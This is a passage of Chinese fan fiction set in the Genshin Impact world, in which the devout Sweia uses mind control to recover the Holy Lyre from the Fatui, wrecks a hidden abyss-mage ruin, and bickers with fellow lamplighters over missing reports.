“虽然还不清楚西风骑士团的人有没有看到你们面貌,但是为了防止多生事端,你们也不能这样明晃晃地走出去。”斯威亚伸手拉住他们,“闭上眼,光有点伤眼睛。” 派蒙和旅行者还没有来得及说一句“好”,一道刺眼的绿光后,他们就出现在了歌德大酒店门口。 斯威亚感慨:“难得提前回来,还有点不太习惯。” 派蒙惊诧:“诶,不是说歌德大酒店被愚人众包下来了吗?” “那你没听过他们是以便宜到几乎白送的价格包下来的吗?”温迪装模做样地叹了口气,小声说:“那是跟斯威亚做邻居的精神损失费哦。” “斯威亚的名声原来这么糟糕的吗?”空也忍不住好奇的心。 “是愚人众在冰神的庇佑下都太过懒惰、喜欢睡懒觉而已。”斯威亚理直气壮,双手叉腰,“在蒙德就是蒙德人,自然要遵守蒙德的规矩。我一个蒙德人早上祷告碍着他们什么事了?” 温迪在旁边补充:“这个滑坡的逻辑暂且不论,但是后面那半句,准确来说,斯威亚是早上四点钟起床然后开窗大声祷告。。” “这是什么可怕作息啊……”派蒙也非常无语,“你不是还在‘天使的馈赠’上班吗?酒馆一般是晚上营业的吧?” “12点下班然后睡到早上四点钟不够吗?”斯威亚失落地低下头,“现在的年轻人也太会享受了吧……” “不过,愚人众他们居然没有对斯威亚下手吗?”空若有所思,“我还以为,以愚人众就目前在蒙德表现出来的嚣张作风来说,他们会直接把斯威亚赶出去。” “当然是因为他们一起上都不是我的对手啦。”斯威亚美滋滋道,“而且做我的邻居可不要太棒!上次我听到柳德米拉他们站岗的时候还说,托我的福,他们都把换班的时间改掉了呢!” 空:“……” 派蒙迟疑:“嗯……感觉她想要说的应该不是什么好话。” “没关系啦。”斯威亚爽朗一笑,毫不在意道,“总之,我为了公平公正地挑起纷争,避免他们遇事不决就去找执行官做外援,我刻意对他们施加了具有传染性的传染——只要认为自己属于愚人众阵营,然后与被我操控的人对视,就会中招。” 斯威亚无视面前三人惊讶的表情,继续说道:“毕竟是人要为自己的言行、尤其是渎神的言行付出代价!哼哼哼……她最好明天早上向我道歉,不然我是不会原谅‘他们’的!” “总而言之,感觉你一本正经地说出了很可怕的事情呢。”派蒙指指点点,温迪接过话茬,两手一摊,“所以我说,只要不牵扯到信仰这方面的话题,斯威亚是一个相当可靠的人——通情达理又行动力十足,还从来不打无准备的仗。” “是吧是吧,不愧是我的偶像!”斯威亚又不知道从哪里掏出那本《法大王的恩情还不完》,“不过,既然这次让我出手了,那总能给我你的签名了吧!” “嘛……特意挑在这种时候吗?真是让人没办法拒绝呢……”温迪故作深思,最后决定道: “这样吧!只要事情特瓦林身上的污染解决、事情尘埃落定,我一定会在最后的封底签上我的名字。不过,不要太过分哦,虽然愚人众行事有些过分,但可别闹出大乱子——我知道你脑子里在想什么,不可以哦!” “唉行吧,毕竟是我的问题,请放心,专于传颂史诗的无私诗人,天空之琴就包在我身上吧!” 斯威亚随便抓一个站岗的愚人众士 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斯威亚托住那个眼神涣散的愚人众士兵的脸颊,将他的脑袋和自己的视线平齐。果酒湖的夜风从巷口灌进来,撩起他臂上那只银质臂环——那上面有道断裂的痕迹,像是曾被人生生折断,又在某种力量下被重新熔接回去,断口处泛着不自然的暗光。 “好孩子,不必害怕长官。我们已经战胜了敌人,成功完成了所有任务,” 他的双臂围拢着那眼神涣散的士兵的头颅,拇指轻轻抵在对方的太阳穴上。那士兵的身体开始微微颤抖,瞳孔深处像是有什么东西在翻涌、在坍缩,一层又一层的意识被剥开。 “高傲的执行官大人不会亲自藏起天空之琴,‘我们’之中,一定有负责护送天空之琴的人。想想,一定有人见过的,天空之琴被我们放在哪里了?” 那士兵的呼吸变得急促起来,眼神却愈发空洞,他的意识正被斯威亚的语言牵引着,不断下坠、下坠,穿过蒙德的夜色,穿过歌德大酒店的石墙,穿过一道道设了岗哨的走廊—— 画面在黑暗中铺开。 昏暗的据点大厅,火盆噼啪作响。几个愚人众士兵围坐在长桌旁,脸上的疲惫在火光下清晰可见。有人低头擦拭武器,有人靠在椅背上打盹。而角落里,一个身形精瘦、穿着债务处理人制式服装的男人正背对着所有人,从一名士兵手中接过一个被绒布包裹的长条形物体。 那人的动作很轻,像是捧着一件易碎品。他转过身时,露出一张棱角分明的脸,眉骨很高,眼神冷厉。他将天空之琴小心地放进一个铁箱,锁上,然后对身边的士兵说了句什么。 画面拉近,唇语清晰可辨—— “「女士」大人的命令,在了解今夜为何有部分士兵失控袭击蒙德城防之前,务必看好天空之琴。” 铁箱被合上,两个士兵抬起它,跟在债务处理人身后,消失在据点深处的阴影里。 斯威亚松开手。 那士兵像是被抽走了所有力气,踉跄两步,靠着墙软软地滑坐下来,眼睛半阖着,呼吸逐渐趋于平缓。 “债务处理人柴门霍夫受「女士」大人之令,在野外的驻地看守天空之琴。这下就能放心了,在野外,不会闹出太大的动静。” 斯威亚转过身,双手合十,偌大的歌德大酒店内所有的愚人众士兵,竟然直挺挺地向同一个方向看去。 天空之琴,在那里。 8. 第 8 章 柴门霍夫擦拭刀刃的手一顿,一股寒意从脊背攀上来,他本能地抬头,正对上一双眼睛。 一个下属正盯着他。 那目光毫不掩饰,直勾勾的,就像野兽盯着猎物。 柴门霍夫被这视线钉在原地,一时之间不敢动弹,随后,恐惧揉碎了掺进怒火里,劈头盖脸地向这个没有眼色的下属砸过去: “你的上级是谁?谁教你以这样的态度直视长官!” 士兵没有回答,声音在空旷的据点里回荡,撞在石壁上又折回来,像是在嘲笑他的无能狂怒。那双眼睛一眨不眨地盯着他,嘴唇翕动,像是一条被扔上岸的鱼,无声地张合了几次,终于吐出几个字: “我们找到他了。” 柴门霍夫抬脚就踹。那士兵却反手抱住他的大腿,力气大得惊人,完全不像是普通士兵。 “喂,士兵,你疯了吗?!”柴门霍夫一手按住士兵的头,试图把那张越来越近的脸推开,同时猛地扭头,朝身后吼道: “快去通知「女士」大人!营地的士兵也出问题了!” 无人应答。 柴门霍夫顿觉大事不妙,猛地回头。 所有愚人众士兵,不知何时全都转过了头,一双双眼睛齐刷刷地、一动不动地、直勾勾地盯住他。 他的下属说:“他在这里。” 门口的守卫说:“他在这里。” 巡逻的士兵说:“他在这里。” 声音从四面八方涌来,重叠交错。 真是见了鬼了!谁来告诉他蒙德这鬼地方是怎么回事?到底发生了什么? 来不及细想,柴门霍夫当机立断把手上挂着的人踢飞,转身扑向机关阀门,把自己和天空之琴关在一起,然后直接摧毁了机关开关。 他靠在石墙,惊魂未定。 这种跟传染病无异的症状尚不知是什么东西。 柴门霍夫跟随「女士」大人外派多年,足迹踏遍七国,见识过深渊的侵蚀、魔神残渣的污染、邪眼的反噬,却也从未见过这种东西,他甚至不确定自己是否会被感染,下一刻是否会做出背叛的举动。所以他唯有把自己关在这里——他相信,「女士」大人一定会有办法解决问题的。 现在这地方无异于一间密室,外人进不来,里头的人也出不去。 柴门霍夫望着机关外面那群诡异的士兵。他们此刻像是忘了他的存在,全都直勾勾地盯着天空之琴。 那些面孔他全都认识,有些跟了他好几年,有些甚至是他亲手招进队伍的。可现在,每一张脸都像是被什么东西从里面掏空了,只剩下一层皮肉,维持着人形。 这个场景太过可怕,饶是柴门霍夫身经百战,看到这幅场景也是头皮发麻。 还好他当机立断把自己关在里面……只能寄希望于「女士」大人能早点发现不对劲了。 或许是发现无法进入,那些奇怪的士兵都贴近每一处缝隙——窗沿、门缝、机关的气孔——只露出眼珠子,死死盯着他,盯着他手上的天空之琴。 他们的眼睛泛起一种蓝绿色的薄膜,像是某种活物在瞳孔深处蠕动。眼眶开始流出深蓝色的粘稠液体,那液体浓稠得近乎实质,顺着缝隙无声无息地流入机关之内,在柴门霍夫脚边汇聚、翻涌、凝聚。 一个人形从中站了起来。 蓝色长发如极光垂落,湖蓝色的眼睛像是冻结的深海。臂上戴着一只银质臂环,上面有清晰的断裂痕迹,又被某种力量重新熔接,裂纹处泛着幽微的光。 第一眼望去,叫人想起家乡边境的极地极光——熟悉,却诡异。 不,这种诡异的出场方式,说不定这家伙真的不是人! 柴门霍夫下意识后退半步,喉结滚动。 “夜安,柴门霍夫先生。愿伟大的高天之主、统领地上万国的君王能谅解我的僭越,我原是想维持一场公平的对决,却不小心忽略了一些现实因素,对大家造成了一定的麻烦。所以,我来解决问题了。” 此人就是斯威亚,他略微欠身,姿态优雅得体。下一瞬,他的身形如冰雪消融般消散,又在柴门霍夫面前重新凝聚,近得几乎鼻尖相触。 那双湖蓝色的眼睛与他对视。 柴门霍夫想跑,脚却像钉在了地上。他想喊,喉咙却像是被什么东西掐住了,一个音节都发不出来。 他看见那双眼睛里有光在流转——那种仿若从深处溢出来的、带着某种实质感的光,像水一样漫出来,顺着对视的轨迹,无声无息地涌入他的眼眶。 柴门霍夫感觉有什么东西钻进了自己的脑子。 不是疼痛,而是一种更可怕的感觉——像是有人在一点一点地、轻柔地、不容抗拒地,把他的意识从这具躯壳里往外推。 他拼命想要抓住什么。想要闭上眼,眼皮却不听使唤。想要移开视线,脖颈却僵硬得像一根锈死的铁杆。想要咬紧牙关,下颌却不自觉地松弛下来。 那光还在涌入。 柴门霍夫感觉到自己的思维开始变得迟钝,像被浸泡在冰水里,每一个念头都沉重得难以成形。他记得自己应该恐惧,应该反抗,应该—— 应该什么来着? 那个念头还没成型就碎掉了。 柴门霍夫的眼神开始涣散。瞳孔还在,焦距却没了,像是有人把镜头的旋钮一点一点拧到了底,画面还在,意义却全部抽空。 他的手垂落下来。 柴门霍夫的喉结动了动,本能似乎仍然反抗,但身体已经是被人提着线的木偶,每一个音节都不是自己想说的,却又一个字一个字地往外蹦: “夜安,斯威亚先生。” 他双手恭敬地举起天空之琴,奉到对方面前。动作流畅得像是排练过千百遍,找不到一丝被强迫的痕迹。 “‘我们’找到了天空之琴。” “由衷感谢你的善解人意,亲爱的柴门霍夫。” 斯威亚接过天空之琴,指尖拂过琴身,“如果你们的执行官过来,还麻烦你告诉她,‘斯威亚’的插手将在天空之琴回到蒙德城的刹那间画上休止符。我的一切偏袒将终止于太阳升起 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「女士」踏入囚室,脚下的石板覆上了一层薄霜,从她站立的位置开始向外蔓延,像是把整个冬天塞进了这间石室。尖锐的靴跟叩击地面的声响在空旷的据点大厅里回荡——每一声都比前一声更冷、更沉。 就像她此时糟透的心情。 火盆里的火焰剧烈摇晃了几下,终于熄灭。 而她的得力下属柴门霍夫,半跪在地,在复述完那个罪魁祸首留下的挑衅话语后干干脆脆地昏倒在地。身体前倾,额头磕在石板上,发出一声沉闷的响。 「女士」垂眼看着地上的人,空气里的寒意又重了几分 “斯威亚——” 那三个字从「女士」的齿间碾过,每一个音节都被她咬得粉碎。 “你这个混蛋!” —— 蒙德城 深夜,天使的馈赠仍透出暖黄色的光,窗玻璃上结了一层薄薄的水雾。 “阿切!” “没事吧斯威亚?”派蒙担心,“是不是拿天空之琴的时候碰到了什么机关?” 斯威亚揉了揉鼻子,鼻尖被揉得有点发红。 “问题不大,估计是「女士」在念叨我呢!”他把天空之琴翻了个面检查了一下,“啊,是谁家的信徒这么善解人意又负责虔诚,原来是我们法大王的信徒呀!相信不久之后,她一定会幡然醒悟,加入我们,伟大的高天之主会迎来更多虔诚的信念——” 派蒙叉着腰,小脸皱成一团:“……虽然不知道你在说什么,但我感觉一定不是什么好事。” 斯威亚把天空之琴往温迪面前一递。 “诺,你们要的天空之琴。” “流风纹的蔷薇木,微凉的星铁弦。”温迪的声音带着一种淡淡的怀念,“麻烦你了,斯威亚。” “大恩不必言谢,我亲爱的偶像。” 斯威亚见机立马掏出自己那本随身携带的合集,再次摊开到温迪眼前。 “那么,传唱世间的诗人啊,还请你高抬贵手,按我们之前的约定,写下你的签名吧!” 9. 第 9 章 “虽然我不想在这个时候扫兴,但现在恐怕还不行——” 斯威亚脸色一变,难以置信地瞪大了眼睛:“我亲爱的偶像,难道你也要言而无信吗?多么令人悲伤啊!” “‘只要特瓦林身上的污染解决、事情尘埃落定,我一定会在最后的封底签上我的名字’——这是我们的约定的原话,没错吧?” 斯威亚点点头,表情稍稍镇定了些,慢吞吞说道: “我给你们拿回天空之琴,然后你们呼唤特瓦林,这位好心的旅行者净化他的伤口,然后特瓦林幡然悔悟继续过上和神明一起翩翩起舞的美好生活吗——多么完美的流程啊!还有什么地方需要我来插手的吗?” “当然有。” 温迪指尖轻轻点了点琴身上黯淡的纹路,语气忽然变得意味深长,“历经千年时光,风的力量早就枯竭了。这种状态下的天空之琴,拿来在迪卢克家的酒馆驻唱还行,但要是用来呼唤特瓦林……” “停。” 斯威亚眉头一皱,目光在温迪那张无辜的笑脸和空逐渐变得微妙的表情之间来回扫视。 他的直觉告诉他,事情并不简单。 “虽然不知道为何,”他慢吞吞地开口,语气里带着一种过来人的笃定,“但是我总有一种一旦答应下来,我就走上了一条打黑工的不归路的感觉。” “诶嘿 ,会有这么明显吗?”温迪摸摸头试图装傻蒙混过关。 “有的。” 斯威亚语重心长地叹了口气,转过头看向旁边还在干瞪眼的空和全程看戏的派蒙,那眼神活像一个在江湖上摸爬滚打多年的老前辈在提携后辈。 “虽然现在很难解释,但是以后你们就会懂了。出门在外,如果在野外遇到了类似于一群蘑菇在殴打路人的情况,一定看清楚自己的时间够不够,以免被套上连环套中套,开始永无止境的任务循环。” “虽然听不懂斯威亚在说什么,但是感觉应该非常有道理。”派蒙若有所思地点头。 “是的派蒙,”斯威亚一脸欣慰,“这可我行走在提瓦特大陆上的宝贵经验。” 他整了整衣领,语气恢复成公事公办的干脆利落:“总而言之,拒绝大任务生支线再生小任务,从我做起。琴我已经拿回来了,剩下的不管是琴没电了要充能、还是琴弦断了得修,还请你们自行解决。” “真是无情啊斯威亚,”温迪故意拖长了尾音,语气里带着几分委屈,“难道我不是你的偶像了吗?” “偶像和每日祈祷相比,”斯威亚习惯性地摸出怀表,表盖弹开的脆响在夜色中格外清晰,“那还是每日祈祷更重要。” 指针恰如其分地指向了代表午夜零点的月亮。 “显然,在一件又一件事情的推动下,我们已经来到了第二天的凌晨,也就是说,现在是我自由活动的休息时间。” 他将怀表收回口袋,施施然行了一礼,动作流畅得像演练过无数遍。 “当然,如果有人愿意了解我们伟大的高天主宰,随时找我即可。如果与信仰无关,今晚‘天使的馈赠’依旧是我的晚班。各位,我们今晚九点再见。” 说完,斯威亚自顾自离开,只留给众人一个潇洒的背影。 “我从来没见过这种性格的怪家伙!”派蒙气得在空中直跺脚,显然被那一番自言自语噎得不轻。 “说起来,斯威亚刚刚拿到天空之琴的能力……” 空收回追随那道背影的目光,若有所思地转向温迪,压低声音问道,“提瓦特的元素力能做到这个地步吗?” “不愧是旅行者,还真是敏锐!” 温迪毫不吝啬地夸赞,随即话锋一转,语气变得意味深长。 “提瓦特的元素力当然是做不到这一点的。不过嘛,我想我们对待朋友,可以彼此之间保留一些小小的秘密?如果实在想要知道的话,不如直接去问问斯威亚,说不定他会很乐意分享他的故事?” “那还是算了。”派蒙连连摆手,心有余悸地缩到空身后,“问他的话,一定会被莫名其妙地带进沟里,然后被迫听他长篇大论地传教的!” “恭喜你们,一来就相当熟悉他的个性了呢。” 温迪笑着摇摇头,目目光不经意地掠过窗边。夜色中,玻璃上隐约映着一个理应已经走远的身影。 他收回视线,语气忽然放轻了些许:“不过我不建议在任何人面前提及斯威亚所信仰的神明哦。” “诶,这是为什么?”派蒙歪着头,一脸不解。 “因为会让很多人应激。” 派蒙张大嘴巴:“啊?” “特瓦林也会应激哦。” “诶??!!” 派蒙的惊叫声差点掀翻酒馆的屋顶。 窗外,确认了温迪并没有在自己走之后凭空污他清白,斯威亚才从窗户边挪开脚步,转身朝歌德大酒店的方向走去。 夜风从街巷尽头吹来,带着蒙德城特有的酒香,混杂着远方果酒和麦芽发酵的气味。他裹紧外衣,步伐不紧不慢,靴跟叩击石板路的声音在空旷的街道上回响,一下,又一下,被夜风拉得很长。 现在已经是全新的一天。不过斯威亚没打算此时睡觉。 他还有非常重要的事情要做,短短四个小时甚至都有些不太够。 推开酒店房门,暖黄色的灯光自动亮起。 斯威亚径直走到日夜祈祷的灶台前,蹲下身,从暗格里搬出成箱的鸡蛋。蛋壳在灯光下泛着温润的光泽,他数了数数量,满意地点点头。 他得在晨祷前煮好它们。 啊,由衷的希望「女士」的人不要太早过来。 斯威亚将锅架在火上,注满清水,然后双手捧起一枚鸡蛋,指尖摩挲过蛋壳光滑的表面。他闭上眼睛,呼吸渐渐平稳下来,唇齿间开始流淌出古老而低沉的祷词。 火焰舔舐着锅底,水温缓缓攀升。 他一边祷念,一边将鸡蛋一枚一枚地轻放入水,动作虔诚得仿佛在举行某种神圣的仪式,连指尖入水的角度都分毫不差。 “……愿您的国降临,愿您的旨意行在地上,如同行在天上。” 水沸腾起来 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斯威亚歪了歪头,脸上露出真诚的困惑。 “为了避免你们没认出来,我还刻意安排了一个传话筒。不过这么多年来,愚人众普通士兵的素质确实是越来越烂了——还是只是因为蒙德城太过和平安全,所以就派了些养老分子过来?” 罗莎琳眯起眼睛,瞳孔深处燃起危险的火焰:“你在质疑我的实力吗?” “见笑了,我从不质疑不存在的东西。” 斯威亚施施然让开房门,露出身后桌面上堆成小山一般的煮鸡蛋。蒸汽还在袅袅升腾,整个房间都弥漫着一股朴实的食物香气。 “拿了补品就走吧。” 他侧过身,给罗莎琳让出一条通道,礼貌承认了错误。 “这次确实是我的问题,忘记平衡你们两方目前战力就开启了【蒙德】vs【至冬】的阵营攻防战。真是惭愧,居然在伟大高天主宰垂目即可瞥见的城邦犯下如此大错——所幸祂并未发怒。” 斯威亚伸手比了个“请”的手势:“诺,赔礼拿走吧,不够的话我继续煮。” 罗莎琳盯着那堆鸡蛋,表情像吞了一只活苍蝇。 “你说的‘鸡蛋’,就真的只是鸡蛋?” “不然呢?”斯威亚两手一摊,“你在擅自期待什么?” 罗莎琳冷哼一声。 “你最好想清楚,我会如实向女皇上报你的一切行径。” “随你们便,别讨伐错人就行。”斯威亚心情平静,从她身侧走过,“我所崇敬臣服的雷帝遗留下了地上的王国,领受了天使的圣像升入天国……让一让别挡我门口,我要去工作了。” 罗莎琳被气笑了:“你一个酒保,大早上的出门去干什么。” “酒保是我在蒙德的工作,我的工作又不止在蒙德有。” 斯威亚头也不回,声音从走廊那头传进罗莎琳的耳朵—— “弄得好像愚人众只在蒙德办事一样。” 10. 第 10 章 斯威亚的心情糟糕透了。 他现在一个人猫在蒙德城门口的矮墙边,对着天空的虚影默念了三遍祷文,可那团堵在胸口的浊气非但没有消散,反而像发酵过度的麦酒一样越胀越大。 冲动果然是魔鬼。 居然让他这么一个全心全意侍奉神明的人在一天的开始就对一位远道而来的熟人恶语相向。 虽说罗莎琳那女人说话确实跟火上浇油没区别,但这绝不是他失态的理由。冲动的火焰果真能焚寂一切,连他这些年修来的平和心绪都给烧了个精光。 斯威亚啊斯威亚,你怎能荒废你数百年来的沉淀! 他深吸一口气,又缓缓吐出,手掌握上剑柄。冰凉粗糙的触感让他纷乱的思绪稍稍沉淀。 不管了,先清理魔物冷静冷静。 鸽子,史莱姆、深渊教团,见一个砍一个,见两个劈一双。 月光把斯威亚的影子拉得老长,剑锋反射着冷冽的银白。砍到第三十只骗骗花的时候,斯威亚终于平复好心情,胸口那股邪火消下去了大半。 原本他打算今天到此为止,转战昨日失约的枫丹和挪德卡莱时,突然感知到了一股突兀元素反应力。 居然还是雷元素! 要知道蒙德风调雨顺,生态环境格外温和,连雷史莱姆都少见得很。在天气晴朗的时候出现野生的雷元素痕迹,概率约等于风史莱姆掉下悬崖摔死——简而言之,几乎不可能。 斯威亚难得来了兴趣,他抬头看了一眼天空,星星和月亮还在跟他大眼瞪小眼,估摸时间还有不少富余。 蒙德少有麻烦的魔物,顺道绕个远路清理一下垃圾,也废不了他多少功夫。 斯威亚当即顺着雷元素力的残留拐进了偏离主路的林间小道。走了约莫一刻钟,一道简陋得令人发指的封印横在了他面前。 要不说蒙德生态环境格外温和呢? 斯威亚看着那个歪歪扭扭的术式构造时直接笑出了声。 这种封印水平,放在须弥怕不是已经被贤者连夜赶出教令院。 斯威亚连剑都懒得拔,三下五除二直接徒手拆了封印结构,最后一道术式崩解的瞬间,一个隐蔽的洞口豁然出现在他面前。 洞口往里延伸,和简陋的封印相反,内部空间宽敞明亮,规划也十分整齐有序,完全不像是应该被这样简陋封印所守护的存在。 这可真是个不妙的新发现。 斯威亚站在洞口,再一次肯定了自己的经验之谈:一旦做出超出先前预设路线的行为,就会遇到超出预料的事件。 老实说,如果没有今天早上罗莎琳那一耽搁,斯威亚一定会头也不回地继续走在他为自己预设的行进路线上。 但,斯威亚抬头,透过树冠的缝隙看了一眼月亮,心中不免有小小的猜测。 难道这也是伟大的高天之主宰对麾下信徒的指引吗? 他迟疑了片刻,最终还是尊重本能的提醒,抬脚迈进了洞穴。 洞穴深处比入口处看到的还要宽敞。 斯威亚单手提着剑,沿途的魔物对他而言完全构不成威胁。零散几只丘丘人还没反应过来就被剑背敲晕,两座遗迹守卫刚启动就被他卸了核心。 他顺着那道异常雷元素的指引一路推进,最终停在了一面死胡同前。 斯威亚眯起眼,手指在石壁上叩了三下。 中空有回响,背后肯定有东西。 他后退两步,提剑。剑锋裹挟着风元素力划出一道弧线,石壁应声而碎,露出其后隐藏的巨大空间。 “蒙德城……居然也有如此实力的人吗?” 从石壁后面被逼出来的冰之咏者后退数步,震惊地看着被他三剑拆干净的全部机关,声音里带着不加掩饰的错愕。 斯威亚低声自语,眉头拧成了一团: “我居然遗漏了这个等级的魔物,实在是我的失误。伟大的高天之主啊,请宽恕我之前的犹豫和不决,我的工作居然在无形之中犯下如此纰漏——” 他面向穹顶的方向微微垂首,全然不在意深渊法师就在自己脸上。 冰之咏者被这种目中无人的态度激怒了,他周身燃起深渊的玄冰,术式在掌心汇聚,愤怒尖叫道: “你在自言自语什么鬼话!” “感谢您赐予我修正错误的机会。” 斯威亚一动不动,任由术式直挺挺朝自己面门而来。 随即,在冰之咏者恐惧的眼光中,尽数将那股力量吞没。 “结束了吗?那轮到我了。” 利剑直挺挺批下来,咏者的挣扎只是徒劳,他难以置信地瞪着斯威亚:“为什么……明明你……” “既然事情都超出我等的预料,那必定是高天之主意欲让你的计划失败。” 斯威亚收剑回鞘,声音平静得像在陈述今天的晚饭,他朝颓然的冰之咏者伸出手。 “拿出来吧,你必是窃取了某物,才引来主的不悦。” 冰之咏者的表情剧烈变化,从震惊到愤怒,又从愤怒转为某种诡异的了然。他忽然笑了:“没想到蒙德……也有人参破那白之公主与——啊!” 尾音被截断在一声短促的闷响里。 斯威亚的剑锋并没有点到为止,来自咏者自身的冰深渊力从剑刃上炸开,裹挟着锐利的气流向四面八方席卷。墙壁上的符文一个接一个崩裂。 天花板开始龟裂,碎石从头顶簌簌坠落。他反手挥出第二剑,剑气呈扇形向前推进,所过之处地面翻卷、立柱折断、机关爆裂。 整座地下遗迹在他身后一寸寸坍塌。 轰鸣声、碎裂声、石块砸落的闷响混杂在一起,扬起漫天的灰尘。 斯威亚看了眼怀表,自觉时间已经差不多,便头也不回地向外走,脚步不疾不徐,连节奏都没变过。 路过某处偏厅时,他的余光扫到一本沾满灰尘和冰晶的故事读本——那东西正随着地面的震动从架子上滑落,啪嗒一声摔在碎石堆里。紧接着,一根断裂的横梁砸下来,书页被压在下面,只露出一角封面。 斯威亚收回视线,转身离去。 身后,整座遗迹彻底塌陷,扬起的气浪吹动了他的发尾—— 一切本该如此完美。 好市民做好事不留姓名,除了没有像常规冒险家那般继续探索遗迹之外,没有什么不一样的。 只是,勤劳勇敢的斯威亚并未发现,他花 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三个人同时抬头看了一眼窗外晴朗的夜空,又同时默默收回视线。 “……这个誓发得够狠的。”叶洛亚锐评。 “我的天哪,斯威亚先生。” 一直安静坐在旁边听斯威亚辩解的菲林斯忽然开口,用一种像是宫廷贵族在宴会上发现有人打翻了红酒时才会用的、装模作样的惊呼语调说,“如果你撒谎,那对全体蒙德人和风神而言可都是个巨大的噩耗。” 菲林斯顿了顿,微笑着补充:“不过我相信,你是一个诚实而正直的人。” 叶洛亚没有接这个话茬。他转向菲林斯,目光里带着某种审度的意味:“好吧,菲林斯,那你的报告呢?” 菲林斯歪歪头,示意叶洛亚看向某位编故事的主角。 “这又是另外一个不幸的故事了。” 斯威亚抢在菲林斯开口之前接过话头,语气悲痛而自责: “你知道的,我一直不擅长文书工作,恰好我们亲爱的克里洛先生慷慨而又仁慈,于是他大方地把他提前完成的任务报告交给了我以作参考——” 叶洛亚双手环胸:“然后呢?” “然后,”斯威亚摊手,“我把那份参考报告和我的那份放在了一起。” “于是悲剧便就此发生。”菲林斯恰到好处地接上,依旧用那种贵族式的感慨语调,“我那些可怜的任务报告也与斯威亚先生的一起,永远沉寂在蒙德的古老遗迹中了——挪德卡莱的报告居然会葬身于蒙德,真是世事无常。” 两人一唱一和,配合得天衣无缝。 叶洛亚沉默了半晌,才缓缓开口: “不管从哪个角度听,整个故事都像是你们两人根本没写报告试图蒙混过关而编造的借口。” 叶洛亚谴责的眼神在两人之间来回扫视,最后定格在斯威亚身上。 “斯威亚先生,我不得不说,至少在以前,菲林斯先生努努力还是能把工作报告卡点交上来的。可自从跟您同流合污之后,我就再也没见过他的报告了。” “这对吗?” 11. 第 11 章 “天哪,这可真是个可怕的指控。” 斯威亚立刻正色,坐直了身体,表情严肃得像是在审判庭为自己辩护:“往前数五百年,别说是我的工作报告,就算是整个挪德卡莱的文书我也不在话下! 他说这话时下巴微抬,语气里带着一种叶洛亚完全搞不懂的底气。 “这一点我也能够担保。”菲林斯附和,表情格外真诚,还补充了一句:“只可惜人是会随着环境的变化和压力的骤然减小而堕落的,斯威亚就处于后者的状态。唉,岁月真是让人面目全非,竟然把一个热爱工作的好人,变成一个拖欠报告的懒汉,甚至借同僚的报告抄都抄出问题来了。” 斯威亚瞬间炸毛。 “你这不讲道理的怪火,怎么这个时候还在污蔑我!”斯威亚猛地转头瞪着菲林斯,头发似乎都要竖起来了,“我可是在替你辩解!” 菲林斯不紧不慢地端起茶杯,氤氲的水雾模糊了他半张脸的表情,只留下声音:“亲爱的斯威亚,阐明真相是你的责任。是你把我的报告拿走,而后又让它消失得一片雪花都不剩。” “行吧行吧。” 斯威亚眼珠一转,忽然换上一副庄严肃穆的表情。 “那我提议我们三人共同为那埋葬在蒙德的任务报告默哀三秒——” 说完他也不管别人什么反应,直接闭上眼睛,双手合十,下巴微低,虔诚得仿佛面前摆着一座墓碑。 菲林斯看了他一眼,放下茶杯,也跟着顺从地闭上了眼睛。 叶洛亚叹了口气,半顺从地合上眼,配合这两个故意搞耍的成年男子完成这场莫名其妙的默哀仪式。 一秒。 两秒。 等等,不对! 叶洛亚猛地睁眼。 叶洛亚反应极快,一只手直接薅住了斯威亚垂在肩侧的长发。斯威亚“嘶”了一声,下意识就要躲,可惜棋差一招。 “差点就被你们忽悠住了。”叶洛亚手上微微用力,“所以,报告什么时候交?” 斯威亚吃痛,但他显然不是那种会一个人受苦的类型。他反手一捞,精准地抓住了菲林斯垂在脑后的发尾。 正在遭受无妄之灾的菲林斯放弃挣扎,直挺挺往椅子上一倒,后脑勺枕着靠背,发出了一声充满戏剧性的痛苦呻吟: “放过我吧先生们,我很无辜。” “疼疼疼疼疼——” 斯威亚歪着脑袋哀嚎,试图用眼神向叶洛亚求饶,那双眼睛湿漉漉的,像一只被揪住后颈的猫,“我现在就去补!叶洛亚小少爷,快松手,脑袋要掉下来了!” 叶洛亚冷哼一声,松了手,双臂环在胸前,居高临下地看着这两个狼狈为奸的成年男性,嘴角挂着一丝意味深长的弧度:“哼,你们最好在明天晚上前补完。” 他的尾音微微上扬,拖出一个危险的语调:“不要忘记,明晚还有爱诺小姐的补习班。” “这是什么新东西?这年头当执灯人还要考试吗??”斯威亚扭头问菲林斯,内心油然而生出一种不祥的预感:“我听说过爱诺这位蛋卷工坊的天才机械师,也知道补习班,但是这连在一起我怎么不认识?” “准确来说,是爱诺小姐为了教导各位同僚维修依靠月矩力运行的路灯,所开设的补习班。可天才的机械师,讲课方式也自然是天才的。”菲林斯冷静地点头,语气里带着一种过来人的疲惫,“我宁愿每晚狩猎一百只狂猎,也不想去上课。” 斯威亚沉默了一瞬,压低声音,像是在密谋什么见不得人的勾当:“我懂了。必要时候,我会先跑。” “十份报告换一次断后。”菲林斯双手环胸,面无表情地开价。 “五份!”斯威亚哀嚎,声音萎靡得像是被踩了尾巴,“再多的话我这辈子都不回挪德卡莱了!” “成交。” 斯威亚狐疑地盯着菲林斯:“怎么答应得这么痛快?你不会是在坑我吧?” 叶洛亚扶额,发出一声长长的叹息:“真是不出所料的对话,真是没救了。” “说起来,”菲林斯忽然话锋一转,像是想起了什么有趣的事情,“斯威亚好像还没有在正式场合认识爱诺小姐和伊涅芙小姐吧?” 他转向叶洛亚,眼底闪过一丝促狭的光:“小少爷,我提议找个机会好好介绍他们认识一下。” “拒绝,强烈拒绝!”斯威亚瞬间警觉,举双手抗议,“谁家好学生逃课前还要先认识老师?等等,克里洛你这家伙,不会是想让我在她们那里刷够脸,然后到时候好在我需要断后的时候漫天要价吧?!” 叶洛亚没有理会斯威亚的强烈抗议。他单手托着下巴,若有所思地喃喃自语,目光逐渐亮了起来,像是发现了什么新大陆: “好主意!正好还有不少像斯威亚这样不怎么来往那夏镇的执灯人……大家互相见个面认识一下也有个照应……” 他越说越觉得可行,最后重重一拍桌:“我去安排,就定在今晚——菲林斯先生,斯威亚就交给你了,千万别让他跑了! 话音未落,叶洛亚已经转身朝门口走去。离开前,他非常仔细地检查了一遍门锁,咔哒一声反锁,又把窗户推开一条缝看了看外面的高度,确认斯威亚没法从二楼无声无息地溜走之后,才满意地点点头,带上门离开了。 脚步声渐渐远去,房间里只剩下两个非人生物面面相觑。 菲林斯率先打破沉默,语气里带着一丝微妙的可惜:“时间过得真快,你都能明白被占便宜这种问题了。” 